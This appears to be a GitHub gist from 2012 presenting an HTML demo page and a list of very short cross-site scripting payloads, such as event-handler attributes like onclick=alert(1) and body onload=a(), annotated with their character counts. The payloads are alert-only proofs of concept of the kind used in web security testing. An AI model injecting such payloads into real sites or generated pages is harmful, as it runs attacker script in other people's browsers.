Skip to content

Instantly share code, notes, and snippets.

@btoews
Created April 16, 2012 16:52
Show Gist options
  • Save btoews/2399929 to your computer and use it in GitHub Desktop.
Save btoews/2399929 to your computer and use it in GitHub Desktop.
Ultra short xss
<html>
<head>
<title>xss example</title>
<script>
//my awesome js
function a(){alert(1)}
</script>
</head>
<body>
<!-- XSS Injected here -->
<x onclick=alert(1)>
<b onkeyup=alert(1)>
<x onclick=a()>
<b onkeyup=a()>
<body onload=a()>
<!-- End XSS Injection -->
<h1>XSS ROCKS</h1>
<p>click me</p>
<form>
<input value='try typing in here'>
</form>
</body>
</html>
<!-- Most Dependable (22 chars) -->
<body onload=alert(1)>
<!-- Short XSS (20 chars) -->
<x onclick=alert(1)>
<b onkeyup=alert(1)>
<!-- Really short (15 chars) - assumes they have a function called 'a'. Would work with JQuery's '$' though...-->
<!-- Their code: -->
function a(){alert(123)}
<!-- Your code: -->
<x onclick=a()>
<b onkeyup=a()>
<!-- Or (17 chars) -->
<body onload=a()>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment